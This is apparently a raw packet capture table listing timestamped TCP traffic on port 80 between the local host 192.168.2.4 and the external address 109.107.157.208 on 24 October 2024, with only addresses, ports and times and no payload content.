Oct 24, 2024 13:27:09.593794107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.593816042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593816042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.593832970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593847036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593862057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593877077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593890905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593905926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593920946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593951941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593976021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593991041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594006062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594021082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594037056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594050884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594065905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594082117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594103098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594103098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594103098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594103098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594110966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594103098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594104052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594104052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594104052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594126940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594141960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594156981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594170094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594182014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594182014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594182014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594185114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594199896 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594213009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594216108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594228983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594230890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594244003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594269037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594284058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594285011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594297886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594304085 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594324112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594325066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594343901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594350100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594378948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594384909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594408035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594409943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594428062 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594439030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594464064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594487906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594491959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594513893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594542980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594542980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594563961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594573021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594599962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594604015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594623089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594649076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594654083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594681025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594707012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594712019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594742060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594755888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594755888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594774008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594789982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594822884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594824076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594857931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594877005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594891071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594906092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594921112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594944000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594950914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.594966888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.594996929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595005989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595027924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595051050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595057964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595074892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595087051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595113039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595117092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595132113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595165014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595168114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595196009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595221996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595228910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595242977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595257998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595280886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595289946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595303059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595347881 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595350981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595397949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595406055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595427990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595452070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595458031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595469952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595504045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595508099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595535040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595551014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595582962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595587015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595614910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595635891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595644951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595665932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595675945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595685959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595706940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595727921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595756054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595761061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595786095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595812082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595819950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595832109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595849991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595873117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595880985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595890045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595932007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595937014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595963955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.595985889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.595993996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596014023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596024990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596046925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596050978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596076965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596097946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596097946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596131086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596152067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596163988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596180916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596194029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596218109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596224070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596246004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596255064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596267939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596286058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596306086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596316099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596335888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596349001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596369028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596379995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596400976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596410036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596429110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596441031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596461058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596470118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596499920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596502066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596520901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596525908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596546888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596560001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596590042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596592903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596618891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596631050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596649885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596652031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596671104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596679926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596707106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596712112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596729994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596741915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596766949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596774101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596791983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596803904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596832037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596833944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596856117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596863031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596884012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596893072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596913099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596924067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596946955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596952915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596982956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.596982956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.596999884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597013950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597038031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597039938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597059965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597069979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597086906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597100973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597121000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597130060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597160101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597166061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597191095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597194910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597212076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597222090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597251892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597258091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597276926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597280979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597292900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597311974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597333908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597341061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597352982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597371101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597403049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597398043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597424030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597439051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597460985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597470045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597489119 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597500086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597527027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597529888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597553015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597559929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597575903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597590923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597613096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597620010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597641945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597651005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597676039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597680092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597700119 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597708941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597718954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597740889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597762108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597773075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597790003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597803116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597830057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597832918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597853899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597865105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597882032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597893953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597923994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597928047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597944975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597954988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.597978115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.597984076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598006964 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598015070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598043919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598052979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598071098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598074913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598104954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598107100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598135948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598136902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598156929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598165035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598190069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598196983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598215103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598227978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598248005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598257065 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598285913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598287106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598304033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598316908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598340034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598347902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598366022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598377943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598402023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598407984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598438025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598438025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598454952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598468065 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598493099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598500013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.598512888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.598551035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.642986059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.643038034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.643079042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.643313885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.643315077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.643315077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.683703899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.683751106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.683954954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.683954954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.700110912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.700160980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.700198889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.700299978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.700299978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.700300932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.700331926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.700367928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.700398922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.700403929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.700423002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.700459003 CEST	49730	80	192.168.2.4	109.107.157.208
